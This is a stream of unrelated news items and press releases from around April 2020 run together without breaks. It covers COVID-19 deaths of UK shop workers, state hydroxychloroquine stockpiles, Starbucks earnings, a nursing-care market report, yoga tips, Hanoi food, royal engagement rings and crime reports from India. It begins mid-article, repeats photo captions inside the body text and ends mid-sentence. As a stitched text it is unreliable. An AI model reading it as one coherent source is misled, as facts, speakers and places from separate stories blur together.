Aggarwal, who ran two Spar shops, died of coronavirus 13 days after he delivered tea, coffee and biscuits to NHS staff in Leicester. Kumar worked at FreshGo in south London and died of coronavirus after he was hospitalised Raj Aggarwal ran two Spar shops in Leicester and delivered supplies to NHS staff 13 days before he died of coronavirus The Federation has set up a fund to help shopkeepers who cannot keep their shops open. 'They (shop-workers) are risking their own health and safety to provide communities and customers with a vital lifeline and I am tremendously proud of them,' said the national president of the Federation. Shop workers have been labelled the forgotten frontline as they continue to go to work during the lockdown often without protection. Ghulam and Raza's brother-in-law, Mubarak Ali, said: 'It's totally surreal to think that two brothers have passed away by each others' side. 'I've never seen so many tributes in my life. You only realise the impact people have sometimes once they are gone.' At least 22 states and Washington, DC, have obtained about 30 million doses of a malaria drug touted by President Donald Trump to treat patients with the coronavirus, despite warnings from doctors that more research is needed. Oklahoma spent $2million to buy hydroxychloroquine, and Utah and Ohio have spent hundreds of thousands on purchases. The rest of the cities and states received free shipments from drug companies or the US government over the last month. Ohio received a large donation from a local company. Several states including New York, Connecticut, Oregon, Louisiana, North Carolina and Texas received donations of the medication from a private company based in New Jersey called Amneal Pharmaceutical. Florida was given 1 million doses from Israeli company Teva Pharmaceutical. The US Food and Drug Administration on Friday warned doctors against prescribing hydroxychloroquine as a treatment for the coronavirus outside of hospitals or research settings because of reports of serious side effects, including dangerous irregular heart rhythms and death among patients. At least 22 states and Washington, DC, have obtained about 30 million doses of hydroxychloroquine (file image), malaria drug touted by President Donald Trump to treat patients with the coronavirus, despite warnings from doctors that more research is needed Trump mentioned the drug 17 times in various public appearances since March 19, touting its potential despite his own health advisors telling him it is unproven Supporters say having a supply on hand makes sense in case the drug is shown to be effective against the pandemic. But health experts worry that having the drug easily available at a time of heightened public fear could make it easier to misuse it. It's the latest admonition against the drug that Trump mentioned 17 times in various public appearances, touting its potential despite his own health advisors telling him it is unproven. Controversy has swirled around the drug since Trump started promoting it in the White House briefing room on March 19. He mentioned the drug in briefings through April 14, and the White House distributed press releases praising Trump's efforts to stockpile it for use in areas of the country hard-hit by the virus. But for the past week, as studies have shown mixed or even harmful results, Trump has gone silent on the drug. Asked about it Thursday, Trump said he hadn't heard of the study done at US veterans hospitals with preliminary results that showed no benefit, and rejected the notion he had stopped promoting hydroxychloroquine as a cure. 'I haven't at all. I haven't at all,' Trump said. 'We'll see what happens.' There are more than 1 million confirmed coronavirus cases in the US with 56,715 deaths The Federal Emergency Management Agency said Friday it has sent out 14.4 million doses of hydroxychloroquine to 14 cities, including Washington, DC, Philadelphia and Baltimore, from the federal government's national stockpile, a source that also provided South Dakota and California with supplies. The agency said earlier this month it had sent 19 million tablets and didn't explain the discrepancy between the two figures. The US government received a donation of 30 million doses from Swiss drugmaker Novartis on March 29 to build up the stockpile, which does not normally stock the drug. 'If he (Trump) hadn't amplified the early and inappropriate enthusiasm for the drug, I doubt if the states would have even been aware of it,' said Dr Kenneth B. Klein, a consultant from outside of Seattle who has spent the last three decades working for drug companies to design and evaluate their clinical trials. Klein said it's understandable that government and health officials looked into hydroxychloroquine - which is approved for treating malaria, rheumatoid arthritis and lupus - as a possible remedy during a frightening pandemic, but the time and energy has been misspent. The potential side effects are worrisome, especially because many coronavirus patients already have underlying health conditions, he said. 'The states and the federal government are reacting in light of that fear. But it's not a rational response,' Klein said. Doctors can already prescribe the malaria drug to patients with COVID-19, a practice known as off-label prescribing, and many do. Medical and pharmacy groups have warned against prescribing it for preventive purposes. The FDA has allowed it into the national stockpile, but only for narrowly defined purposes as studies continue. Utah Gov Gary Herbert, a Republican, has previously acknowledged that the drug is 'not without controversy,' but defended the state's efforts to build up a supply. Utah Gov Gary Herbert (pictured), a Republican, has previously acknowledged that the drug is 'not without controversy,' but defended the state's efforts to build up a supply South Dakota Gov Kristi Noem (pictured), a Republican and Trump ally, said earlier this month that she pushed the White House to provide enough hydroxychloroquine to give it to every hospitalized person and 'front line' health care workers As questions mounted Friday, though, he distanced himself from an $800,000 purchase the state made from a local company and said it would be investigated. Herbert also halted a plan to spend $8million more to buy 200,000 additional treatments. 'The bottom line is, we're not purchasing any more of this drug,' he said. Other states have received it from the federal government. South Dakota, with a population of 885,000 people, received 1.2 million doses and is using the drug for a trial as well as doctor-approved prescriptions for COVID-19 positive patients. South Dakota Gov Kristi Noem, a Republican and Trump ally, said earlier this month that she pushed the White House to provide enough hydroxychloroquine to give it to every hospitalized person, others who are vulnerable to the coronavirus and 'front line' health care workers. As of Tuesday, Sanford Health said there were 200 patients who have recovered from COVID-19 in a registry, and that some of them may have taken hydroxychloroquine, but it was not a requirement. It is one of several states that say they are using some of the doses for clinical trials going on to assess whether the drugs have benefits for COVID-19 patients. Most states aren't paying for the drug, and it's not clear why Utah didn't get it from the federal reserve or a donation from a business like Amneal Pharmaceutical. News releases from state governments show the New Jersey-based company has sent millions of doses of the drug free of cost to states, including 2 million to New York and 1 million to Texas. Pharmaceutical companies can often manufacture pills they already make fairly cheaply. The donations may have been done to earn good publicity while setting it up to make future sales if hydroxychloroquine ends up being a reliable treatment for the virus, Klein said. Many states, however, have opted to steer clear over concerns about side effects and lingering questions about the drug's effectiveness. At least one of those states is led by a Republican governor, Tennessee, where the state's Department of Health sent a letter warning against using the drug or hoarding it. 'We were seeing a flood of inappropriate prescribing and hoarding, quite frankly,' Health Commissioner Lisa Piercey told reporters. Kansas health director Dr Lee Norman said the state has no plans to buy the drug because evidence is lacking that it helps treat COVID-19. Starbucks (SBUX) fiscal second-quarter results took a hit, as the company reported a steep drop in profit and comparable sales as the coronavirus crisis forced the shuttering of cafes in the U.S. and China, its two largest markets. Here are the key numbers from the report, and what Wall Street expected from the company, as compiled by Bloomberg: Adjusted earnings per share: 32 cents versus 34 cents expected Global same store sales: -10% year over year versus -9.7% expected The coffee giant was not immune to COVID-19 pandemic thats wreaked havoc on the global economy with store closures and stay-at-home orders. When the virus first took hold in China earlier this year, Starbucks was among the first wave of multinationals to shutter stores in the Middle Kingdom. During the quarter, Starbucks earnings plunged 47% from the 60 cents reported in the same period a year ago. In the U.S., comp sales were down 3%, while international comp sales fell 31%. According to analytics firm Placer.ai, nationwide data showed March took a hard hit as U.S. lockdowns shut down nonessential businesses, with visits plunging 30.2% below the baseline a decrease of over 36% year over year. The company had previously noted in a recent filing that U.S. comp sales had been on track to deliver 8% growth for the first ten weeks of the quarter, but sales worsened because of the pandemic. All told, Starbucks opened 255 net new stores in the quarter. Learning from China In January, the coffee giant had closed more than half of its stores 4,100 in mainland China. Presently, however 98% of the Starbucks stores in China are open, but many with modified operations. NEW YORK, NEW YORK - APRIL 23: Starbucks has started opening up locations across New York for mobile orders during the COVID-19 pandemic on April 23, 2020 in New York City. COVID-19 has spread to most countries around the world, claiming over 190,000 lives with over 2.7 million cases confirmed. (Photo by Ben Gabbe/Getty Images) The global coffee giant expects the impact of the virus to intensify in the fiscal third quarter, which will give way to moderation in the latter part of the year. Striking a tone of optimism, Starbucks expects a substantial recovery in China Since the beginning of this global crisis, Starbucks has made decisions that prioritize the well-being of our partners and customers, support health and government officials, and responsibly serve our communities, CEO Kevin Johnson said in a statement. Story continues This principled approach is showing steady business improvement in China where today, substantially all existing Starbucks stores have reopened with modified operations, new store locations are being added and customer engagement continues to grow with each passing week, he added According to Johnson, Starbucks is using the China experience to inform its decisions in other markets. Right now, the company has entered what it calls the monitor and adapt phase in the U.S. to re-open stores with best-in-class safety protocols, he added. We continue to navigate this dynamic situation which we believe is temporary and are confident that Starbucks will emerge from this global crisis even stronger than before, Johnson said. Prioritizing partners On March 15, Starbucks suspended cafe seating and moved to a to go format in the U.S., and also pivoted to drive-thru and delivery only to adhere to social distancing rules. Approximately 60% of the 15,000 Starbucks stores in the U.S. offer drive-thru service. The coffee chain offers delivery in partnership with Uber Eats across 49 markets in the U.S. During this time, more customers signed up for the Starbucks app, with the Starbucks Rewards loyalty programming growing to 19.4 million active members in the U.S., up 15% from a year ago. During the pandemic, Starbucks rolled out temporary COVID-19 related benefits for its U.S. employees, including higher hourly wages for those willing and able to work, and catastrophe pay for those who cant work through the end of May. For those choosing to work, the coffee giant recently sweetened the hourly pay with an extra $3 per hour and will continue providing that premium through the end of May. Whats more, if a partners home store is closed, they will have the option to work at a nearby location thats open. To be sure, employees who are healthy, but unwilling to work after May 3, will no longer receive the catastrophe pay. However, the catastrophe pay will be available through the month of May for anyone who needs to stay home because of a diagnosis or need to self-isolate, or if their store needs to remain closed during that time, or if parents need to homeschool their children. Julia La Roche is a Correspondent at Yahoo Finance. Follow her on Twitter. Dublin, April 28, 2020 (GLOBE NEWSWIRE) -- The "Nursing Care Market in US - Industry Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering. The US Nursing Care Market is expected to grow at a CAGR of over 5% during the period 2019-2025. This study considers the present scenario of the US nursing care market and its market dynamics for the period 2019-2025. It covers a detailed overview of several market growth enablers, restraints, and trends. The study offers both the demand and supply aspects of the market. It profiles and examines leading companies and other prominent ones operating in the market. The US nursing care market is expected to be driven by the rising incidences of chronic disorders, which can be attributed to an unhealthy and sedentary lifestyle. The outbreak of COVID-19 provides a timely opportunity for the US nursing care market to address the surge in demand for nurses and to contain the outbreak. These nurses can help in coronavirus screening and improve the overall preparedness to counter the pandemic. The prevalence of chronic diseases is likely to increase the number of people having disabilities over the coming years. According to the WHO, 60 to 85% of the population worldwide does not engage in activities, making physical inactivity the fourth leading risk factor for global mortality. This lifestyle is expected to increase in the future as more and more jobs require sitting in the office for a long time in the US. Moreover, the share of the geriatric population in the US is also increasing at a rapid rate. It is expected that the geriatric population share will be more than 20% by 2030. Hence, the increase in a sedentary lifestyle, along with the growth in the elderly population, is expected to increase the demand for nursing services. Market Dynamics Opportunities & Trends Technological Developments Increasing Sedentary Lifestyle Increasing Health Awareness Value-Based Purchasing and Patient-Driven Payment Model Story continues Growth Enablers Increasing Geriatric Population & Chronic Diseases Health Insurance Reforms Changes In Social Patterns Increasing Nurse Education Restraints Shortage of Nurses Presence of Stringent Government Regulations US Nursing Care Market: Segmentation This research report includes a detailed segmentation by service type, expenditure, gender, and geography. The rise in the geriatric population, coupled with increasing chronic diseases and age-associated diseases, is expected to boost the hospice segment. Hospice programs generally are home-based; however, they sometimes provide services in freestanding facilities, in nursing homes, or within hospitals. Telemedicine is growing in the hospice industry, which is expected to boost the segment. The technology is trying to extend its services to outpatient settings to improve care coordination. The demand for home healthcare is expected to rise as an increasing number of patients have been choosing to receive medical services at home for several health challenges, including rehabilitation and chronic disease management. The largest end-user of this facility is the elderly population as this age group faces several health challenges and has progressively opted for home services over nursing home care or inpatient facility at hospitals. Based on gender, the assisted living facility market is segmented into women and men. Women held the dominant share in 2018-2019, and the segment is expected to grow at a faster rate during the forecast period. Greater life expectancy of women, high savings, increased retirement savings, increased women employment opportunities, higher disability, and chronic health disorders rates are some of the major factors behind the dominance of female gender in assisted living facilities. The growing aging population, favorable reimbursement scenario with increasing needs, and rising prevalence of chronic diseases in the country will propel the need for skilled nursing facilities. Besides, the lower costs of skilled nursing facilities than hospitals will drive the market. However, factors such as the existence of specialized services such as assisted living facility, hospice, and home healthcare can hinder the market growth. Furthermore, the rise in utility and food costs, real estate taxes, and insurance could negatively affect the US nursing care market. The increasing government support for the US nursing care market is expected to further fuel the market revenue. For instance, Medicare, in 2016, spent around $79 billion on skilled nursing facilities and home health services combined, which was over 20% of all long-term service and supported spending. This kind of support from the US government is expected to strengthen the US nursing care market further. Of the total Medicare long-term service and supports spending, 49% was paid to home health agencies, and 50% was paid to skilled nursing facilities. Hence, these types of support from federal agencies are likely to contribute to the segment growth during the forecast period. The growth in the private insurance market, coupled with increased funding received through philanthropic fund-raising organizations such as the United Way, is boosting the growth of the private expenditure segment. For instance, private health insurance comprises around 15% of total nursing care expenditures in 2019. With longer lives, higher rates of disability and chronic health challenges, and lower incomes than men, on average, several women need long-term medical services, which is positively affecting the segment growth. Moreover, women are also the primary providers of long-term medical services, as the vast majority of both paid formal long-term medical workers and unpaid informal caregivers are women. The availability of female nurses allows more women to opt for these services. Also, women have a longer life expectancy than men, outliving men by about five years on average. Therefore, with the increasing age and growing disabilities among women, the need for a medical facility is expected to increase, thereby driving the segment growth. Furthermore, more than 70% of people getting admitted to nursing facilities are women. Almost two-thirds of the paid home care users and unpaid care recipients are women. The demand is further expected to increase among women owing to their improved savings, increased employability, high literacy, the surge in divorce cases, and an increase in chronic diseases. The male segment is comparatively smaller than the female segment. However, it is expected to rise as several men are getting admitted to nursing care facilities or taking medical services at their home. Also, some patients feel uncomfortable with female nurses caring, thereby increasing the demand for males. However, the demand among men is expected to remain stagnant compared to females. Market Segmentation by: Service Type Hospice Home Healthcare Assisted Living Facility Skilled Nursing Facility Expenditure Public Private Gender Male Female Insights by Vendors The US nursing care market is in the growth stage, and it has achieved popularity and high penetration in developed countries such as the US. The market consists of a few major players, which include Brookdale Senior Living, Sunrise Senior Living, Diversicare, Amedisys, Kaiser Permanente, Ensign Group. The rapidly changing technological environment such as telemedicine could benefit both nursing care companies and patients. The present scenario is driving companies to change and refine their unique value proposition to achieve a strong market presence. Several trends will contribute to the growth of the senior living industry in the coming years. Due to demographic trends, and continuing medical healthcare advances, the senior population will continue to grow, which is expected to increase the demand for senior housing and healthcare services in future years. Key Vendors Brookdale Senior Living Sunrise Senior Living Diversicare Amedisys Kaiser Permanente Ensign Group Other Prominent Vendors 24/7 Nursing Care A-1 ACTION NURSING CARE A-1 Nursing Care AdventHealth Affinity Living Group All Ways Caring Allamericancare American House Apple Home Healthcare At Home Healthcare At Home Nursing Care Atria Senior Living BAYADA Home Health Care Bickford Senior Living BrightStar Care Bristol Hospice Brotoloc North Capital Senior Living Century Park Compassionate Nursing Services Elmcroft Senior Living Encompass Health Enlivant Erickson Living Evangelical Community Hospital Frontier Management HCR ManorCare Holiday Retirement Hospice of Southern Illinois Hospice of the Valley Human Touch Home Health Care LCS Life Care Centers of America Living Assistance Services Nurse Care of North Carolina Nurse Next Door Pacifica Senior Living Preferred Care Premier Home Health Care Services PruittHealth Right at Home Senior Lifestyle Seasons Hospice & Palliative Care Senior Care Centers Trinity Health Valeo Home Health & Hospice Visiting Nurse Service of New York VITAS Key Market Insights The analysis of the US nursing care market provides sizing and growth opportunities for the period 2019-2025. Offers sizing and growth prospects of the market for the forecast period 2020-2025. Provides comprehensive insights on the latest industry trends, forecast, and growth drivers in the market. Includes a detailed analysis of growth drivers, challenges, and investment opportunities. Delivers a complete overview of segments and the regional outlook of the market. Offers an exhaustive summary of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage. For more information about this report visit https://www.researchandmarkets.com/r/njf79f Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. CONTACT: ResearchAndMarkets.com Laura Wood, Senior Press Manager press@researchandmarkets.com For E.S.T Office Hours Call 1-917-300-0470 For U.S./CAN Toll Free Call 1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 Entrepreneurship has always been stressful. But these days, it's not just the stress of fundraising or meeting quarterly goals that might be keeping you up at night. It's also the daily onslaught of troubling news about the decline of the economy and the rise of a global pandemic. Now more than ever, it's essential to manage this stress skillfully. In fact, it's fair to say that taking time each day to build the skill of resilience is no longer a luxury. In these challenging times, it's a necessity for staying calm, focused, and productive in the face of radical uncertainty. But that raises a real problem. Given that you may now have more to do than ever and less time to do it, how can you justify taking time away from your highest priority work to sit around doing yoga for 90-minutes a day? The answer is that you probably can't. What you can do, however, is carve out small blocks of time each day devoted to bringing your mind and body back to a state of calm. To use these yoga tools in the most time-efficient way, consider these three powerful practices, listed in order from least to most time consuming. 1. Breathe the stress away. One of the central principles of yoga is that the quality of your breath is linked to the state of your nervous system. When your breathing is unconscious, or when you're sitting in front of the computer for hours at a time, the breath becomes short, choppy, and strained. This, in turn, leads to the state that psychologist Linda Stone has labeled "email apnea," a state of stress, anxiety, and worry. When you bring your attention to the breath, however, a radical shift takes place. You have the ability to change your mental and physical state, from anxiety to calm, from stress to ease, in a matter of minutes. Yoga traditions offer all sorts of techniques to experience this transformation. Perhaps the most basic is the 4x4 breath. Simply breathe in for four counts, out for four counts, four times. It's a practice that takes less than 60 seconds to complete but can radically change your state of mind. Want to try a more advanced breathing practice? Experiment with the 4x8 breath. Breathe in for four counts, out for eight counts, and you will begin to observe the powerful yogic insight that by lengthening your exhale in a relaxed way, you further release the grip of stress and tension. 2. Raise your legs up to calm down. Here's another powerful insight from the yoga traditions: one of the best ways to calm the mind and body is to invert your body-- to go upside down. The advanced version of this practice includes poses like headstand and shoulderstand. To experience the benefits of inversion in the midst of your workday, however, try simply lying on the ground with your back against the floor and your legs extended up the wall. If you want to go even deeper into this inversion, place a block or bolster at the base of your spine. Spend five or more minutes in this pose and then slowly return to your ordinary, vertical, working position (making sure to avoid giving yourself a head rush). What you will likely find is that even just five minutes of this pose is like drinking a yogic martini. It's one of the fastest ways to calm your mind and body. 3. Experience the extreme relaxation of yoga nidra. An emerging body of scientific research has shown that yoga nidra, which translates as "yogic sleep," has a powerful impact on reducing stress and anxiety. This practice is basically just the part of yoga that everybody looks forward to. It's a practice where you get to skip all those challenging postures and go directly to that sublime moment at the end of a yoga class, when you lie back into savasana and relax deeply. With the title "In Vietnam, 8 great dishes to enjoy in Hanoi - the temple of street food," the recently issued article on Frances daily newspaper Le Figaro led readers to the most famous traditional food addresses in Vietnams capital city. Tourists are advised not to go to high-priced and luxurious restaurants, but explore for themselves the alleys in the old town, the sidewalk food shops that, while they may not look attractive, are the places hiding the treasures of Vietnamese cuisine. Crab noodle (Photo: Dep Magazine) Pho (noodle soup) tops the list of most popular dishes. Even if you're not a gourmet of Vietnamese cuisine, you've probably heard of beef or chicken noodle, with hours of simmered animal bones, dry onions, spices and aromatic herbs. This specialty of northern Vietnam has quickly reached out to the world. Pho is suitable for any meal of the day. Bun cha (grilled pork with vermicelli) is also a Hanoi specialty. This dish includes noodles, pork grilled on coal, sauce and fresh vegetables, and can be eaten with crab rolls. Bun rieu cua (crab noodle soup) is a traditional breakfast dish, including noodles, sauce from crab, fried tofu and tomatoes. Le Figaro describes that making this dish requires patience and strict process. Banh cuon (rolled rice pancakes) made from minced rice flour and minced pork (and/or shrimp) and wood mushroom. Banh mi (Vietnamese baguettes) is typical of the combination of French and Vietnamese cuisine. It can be mixed with meat, eggs and vegetables. Apart from the traditional rolls famous around the world, Hanoi cuisine also offers a variety of fried cakes, including banh goi (fried donuts). To balance the fat, these dishes are served with raw vegetables and sauce which is very well prepared by the chef. Le Figaro newspaper claimed that it is impossible to go to Hanoi without tasting cha ca (fried fish). The newspaper also highlighted egg coffee, besides introducing visitors to famous street food addresses. It confirmed that Vietnam is an ideal place where visitors are welcomed like chefs./. Philip Morris International (PMI) is leading a transformation in the tobacco industry to create a smoke-free future and ultimately replace cigarettes with smoke-free products to the benefit of adults who would otherwise continue to smoke, society, the company and its shareholders. PMI is a leading international tobacco company engaged in the manufacture and sale of cigarettes, as well as smoke-free products and associated electronic devices and accessories, and other nicotine-containing products in markets outside the United States. In addition, PMI ships a version of its IQOS Platform 1 device and its consumables authorized by the U.S. Food and Drug Administration to Altria Group, Inc. for sale in the U.S. under license. PMI is building a future on a new category of smoke-free products that, while not risk-free, are a much better choice than continuing to smoke. Through multidisciplinary capabilities in product development, state-of-the-art facilities and scientific substantiation, PMI aims to ensure that its smoke-free products meet adult consumer preferences and rigorous regulatory requirements. PMI's smoke-free IQOS product portfolio includes heat-not-burn and nicotine-containing vapor products. As of March 31, 2020, PMI estimates that approximately 10.6 million adult smokers around the world have already stopped smoking and switched to PMI's heat-not-burn product, available for sale in 53 markets in key cities or nationwide under the IQOS brand. For more information, please visit www.pmi.com and www.pmiscience.com Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. London, April 28 : "Game Of Thrones" star Maisie Williams has donated 50,000 pounds to Bristol Animal Rescue Centre, which was struggling to survive amid the ongoing COVID-19 crisis. The 23-year-old adopted her own pet pooch, Sonny, from the shelter in 2016. Now, she has decided to help out after discovering online that they were facing difficulties, reports dailymail.co.uk. Williams' 50,000 pounds will be used to help the rescue centre run for a month as it is set to lose approximately 250,000 pounds in income during the pandemic. "Bristol A.R.C. changes the lives of animals everyday and Sonny, my dog who I adopted from them a few years ago, has changed my life in many ways for the better. It's so important in these difficult times not to forget about charities like Bristol A.R.C. that need our help," she said. "So please make a donation to their appeal if you can. We all need to stick together in these dark times and keep the world spinning regardless," the actress added. The centre's manager Jodie Hayward is elated. He said: "To know that Maisie respects and loves what we do so much means the world to us. 'I couldn't believe it when I heard what she had done to support us, I had to hold back a few tears! 'It really will make the world of difference to us right now and we can't thank her enough for her generosity." Two people were killed when two groups, defying the nationwide lockdown, clashed with each other in the Shivaji Nagar slums of Govandi area in Mumbai on Monday evening. One person was severely injured in the incident which occurred at around 6:30 pm near plot number 8, close to the municipal school at Baiganwadi area in Shivaji Nagar. According to the Shivaji Nagar police, the deceased were 23-year-old Rajjab Shamsherali Khan and his friend, 25-year-old Premsingh Virendra Singh. Investigations revealed that the groups clashed over the setting up of sabeel or drinking stalls which are set up to provide water in the holy month of Ramzan. Police said both groups wanted to set up stalls in the densely-populated area which led to the dispute. It was also revealed during the probe that the groups have been at loggerheads since 2019 and there have been frequent skirmishes between them. The injured were attacked on their face and neck with swords, sharp weapons, choppers and axe, said a police officer. The profusely bleeding trio was taken to Rajawadi hospital in Ghatkopar where two persons were declared dead on arrival. The police have identified six people from the group which attacked Rajjab, Premsingh and Mohamedali and have arrested two of them. We are looking out for four more persons, said the officer. The police have registered a case under several sections for murder, attempt to murder, rioting, unlawful assembly and defying the lockdown rules. SHARE THIS ARTICLE ON Regal sapphires, royal rubies and the queen's diamonds, oh my! From Queen Elizabeths gorgeous three-carat solitaire to Grace Kellys massive 11-carat rock, there are plenty of royal engagement rings worth drooling over. But beautiful bling aside, the blinding shine of the royals' engagement rings often comes with a side of drama. (Think: Multiple marriages, stones from a Romanov dynasty tiara and even post-divorce ring-wearing...). Here, all the royal wedding rings you need to know about. 1. Meghan Markle Prince Harry proposed to the Duchess of Sussex in November 2017 with a tri-diamond engagement ring, featuring a large square center diamond from Botswana (where they had their first date together) nestled between two diamonds from Princess Dianas private collection, all set on a plain gold band. It's estimated to be about 6.5 carats total, with the center stone carrying about 5. However, the duchess caused a stir when, on June 8 at last years Trooping the Colour celebrations, she showed off a stack including a diamond-covered half-band on her engagement ring. Its believed that Markle added the pave detail sometime during her maternity leave with royal baby Archie. 2. Kate Middleton Kate Middleton couldnt tear her gaze away from the stunning sapphire ring during the couples official engagement photocall in November 2010, and we totally understand why. This is the original engagement ring that Princess Diana received from Prince Charles in February 1981. The ring features a 12-carat oval blue Ceylon faceted sapphire, which is surrounded by 14 solitaire diamonds. The rings setting is made from 18K white gold. It was resized for Kate on a smaller platinum band, and is reportedly worth more than $500,000. 3. Princess Diana Charles proposed to Diana with a ring made by then-crown jeweler House of Garrard. The design was similar to the late princesss mothers engagement ring, and its also said to bear a resemblance to Queen Victoria's sapphire-and-diamond wedding brooch, which was chosen for her by Prince Albert. The ring is very unique, however, in that the late Princess of Wales selected it from the Garrard catalog (it was available to purchase by anyone). After she separated from Prince Charles in 1992, Diana continued to wear the bling until the divorce was finalized in 1996. Story continues 4. Queen Elizabeth Prince Philip crafted the queens three-carat diamond ring using stones from the tiara collection of his mother, Princess Alice of Battenberg. (Reportedly, the tiara was a wedding gift to Princess Alice from Tsar Nicholas II and Tsarina Alexandra, the last of the Russian Romanov family.) The ring features a solitaire three-carat diamond surrounded by five smaller pave diamonds on each side on a classic platinum band. Prince Philip and the queen announced their engagement on July 9,1947, and were married November 20 of the same year. 5. Princess Beatrice Princess Beatrice, 31, and real estate tycoon Edoardo Mapelli Mozzi, 34, became engaged during a trip to Italy in September 2019. Mozzi proposed to the eldest daughter of Prince Andrew and Sarah Ferguson with a ring he designed himself. The engagement ring is a 2.5 carat round-brilliant diamond flanked by two small round diamonds, then a 0.75 carat baguette on either side and is set in a platinum half-pave band. The ring has two very special connections to Meghan Markle, Duchess of Sussex: It was designed by Bea's fiance Edo with the help of jeweler Shaun Leane (one of Markle's go-to jewelry designers), and the stones are from Botswana and ethically sourced, just like the duchess's. 6. Princess Eugenie Very similar to her mother Sarah Fergusons engagement ring from Prince Andrew, Eugenie was given a floral-style ring with a diamond halo by her now-husband, Jack Brooksbank, in January 2018. The piece contains a rare light pink Padparadscha sapphire center stone (estimated to be about three carats) surrounded by a halo of diamonds on a Welsh yellow gold band. The royal couple designed the ring together. 7. Grace Kelly The princess of Monaco had not one but two engagement rings. Prince Rainier III of Monaco originally proposed to the American actress in 1956 with a ruby and diamond eternity ring by Cartier. Later, Prince Rainier gave Kelly a second piece of Cartier bling: a 10.48-carat emerald-cut diamond with two large baguettes on either side, all set on a platinum band (pictured on the right). The latter reportedly cost a whopping $4.06 million. 8. Sarah Ferguson Designed by famed London jeweler House of Garrard, the ring given to Fergie by Prince Andrew, Duke of York, contained a Burma ruby encircled by ten drop-diamonds, and is uncannily similar to her daughter Princess Eugenies engagement ring from Jack Brooksbank (see above). Fergie and the duke were engaged on March 19, 1986, and tied the knot four months later in Westminster Abbey before their divorce in 1996. 9. Queen Letizia of Spain Former TV news anchor Letizia Ortiz Rocasolano became engaged to King Felipe VI (then Prince of Asturias) on November 1, 2003. The heir apparent to the Spanish throne gave Letizia a 16-baguette diamond engagement ring with a white gold trim. The couple were married six months later, and became King and Queen Consort of Spain in June 2014. 10. Camilla Parker Bowles Camilla and Prince Charles were engaged on February 10, 2005. The prince popped the question with a ring that features a massive five-carat emerald-cut diamond in the center, flanked by three diamond baguettes on each side. It once belonged to the Queen Mother, Prince Charles's grandmother. 11. Princess Anne The queens only daughter married Captain Mark Phillips in 1973 (before they were divorced in 1992), who proposed with a sapphire-and-diamond engagement ring (pictured on the right). She then married Timothy Lawrence on December 12, 1992, and he also gave her a sapphire ring, this time with three smaller diamonds on either side. 12. Crown Princess Victoria of Sweden The Crown Princess of Sweden married Prince Daniel in 2010, after he gave her a simple yet elegant single diamond ring. The diamond solitaire is set on a white gold band and, despite its unfussy design, is a bit contentious. The ring breaks with Swedish royal tradition, since the monarchy used to exchange simple gold bands to mark their engagements. 13. Princess Margaret The queens younger sister was married to Antony Armstrong-Jones from 1960 until their divorce in 1978. The photographer proposed to Margaret with a ruby-and-diamond piece (similar to the one above, which is also from the late princesss private collection) that was designed to look like a rosebud. It reportedly signified Margarets middle name, Rose. 14. Wallis Simpson The Duke of Windsor proposed to American socialite (and *gasp!* divorcee) Wallis Simpson on October 27, 1936, with this emerald stunner by Cartier. The relationship caused a constitutional crisis in Great Britain, and ended with Edward VIII abdicating the throne in order to marry Simpson. We are ours now 27 X 36 was engraved on the inside of the band holding the whopping 19.77-carat rectangular emerald. The numbers stood for the date of their engagement (27th day of the tenth month of 1936). RELATED: Shop All of Meghan Markles New Accessories So You Can Sparkle Like a Duchess Error. Page cannot be displayed. Please contact your service provider for more details. (27) Taking cue from Kerala, the experts of Agartala Municipal Corporation (AMC) have developed a mobile COVID-19 testing van in which swab samples are collected by health workers from inside a glass encasement, minimising risk of exposure to novel coronavirus. Chief Minister Biplab Kumar Deb gave information about the van which he said will also cut down Personal Protective Equipment (PPE) wastage. The three-wheeler van can negotiate through the narrow lanes and facilitate easy sample collection from the entire community, the chief minister wrote in his facebook post. AMC Commissioner Dr Sailesh Kumar Yadav said, kiosk is placed on the van for carrying rapid random community testing. He said the device has been fashioned after the Kerala model where stationary testing kiosks are placed in front of the hospitals. The testing van is first-of-its kind in the northeastern region, a top AMC official claimed. The chief minister wrote in his Facebook page,"Now patients wouldnt need to go to hospitals to provide samples. Besides, it will help in conducting a large number of tests in short period of time. On the inaugural day on Monday, the mobile testing unit collected swabs from doctors and paramedics under quarantine,who had earlier treated COVID-19 patients in the hospital, West Tripura district health surveillance officer Dr. Sangeeta Chakraborty said. From Tuesday, it has been deployed for general public and the van collected swab samples of people in Maharajganj Bazaar and other prominent markets of the capital city, Chief Medical Officer (CMO) of West Tripura district Debasish Das said. The Northeastern state of Tripura does not have any Covid patient now. But, the state continues to be on guard against the deadly virus. "We can now undertake rapid random community testing by using such vans. Medical experts can collect swab samples of people from inside a glass encasement, so there is no chance of having any physical contact," the AMC commissioner, who is also head of the Smart City Project, implemented by the corporation in Agartala, said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The killing of two priests in Bulandshahr in Uttar Pradesh should not be politicised like the Palghar incident in Maharashtra, the Congress said on Tuesday, asking the BJP government in the state to tell who is responsible for the crime. Congress chief spokesperson Randeep Surjewala asked the BJP and the state government to also tell as to how many people have been arrested in the case. Two priests were found murdered at a temple in Bulandshahr district on Tuesday morning, allegedly killed by a local youth. Jagdish (55) and Sher Singh (45) were apparently hit with a lathi at Paguana village's Shiva temple in Anupshahr police station area, police said. The alleged killer was arrested. "The BJP was trying to give a political twist to the killing of two priests in Palghar. We demand that there should be no politics on the killing of priests in Bulandshahr," he said. "Hope the UP government and the BJP will tell the country as to who is responsible for the killings and how many people have been arrested so far," Surejwala told reporters through video conference. He said BJP national president JP Nadda and Chief Minister Yogi Adityanath should come forward and tell who is responsible for these killings in Bulandshar. The Congress leader claimed this is not the first such incident when religious leaders have been attacked and killed in states with BJP governments. Similar attacks have taken place in Haryana in the past, he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) AUSTIN, Texas The mayor of Austin, Texas, said 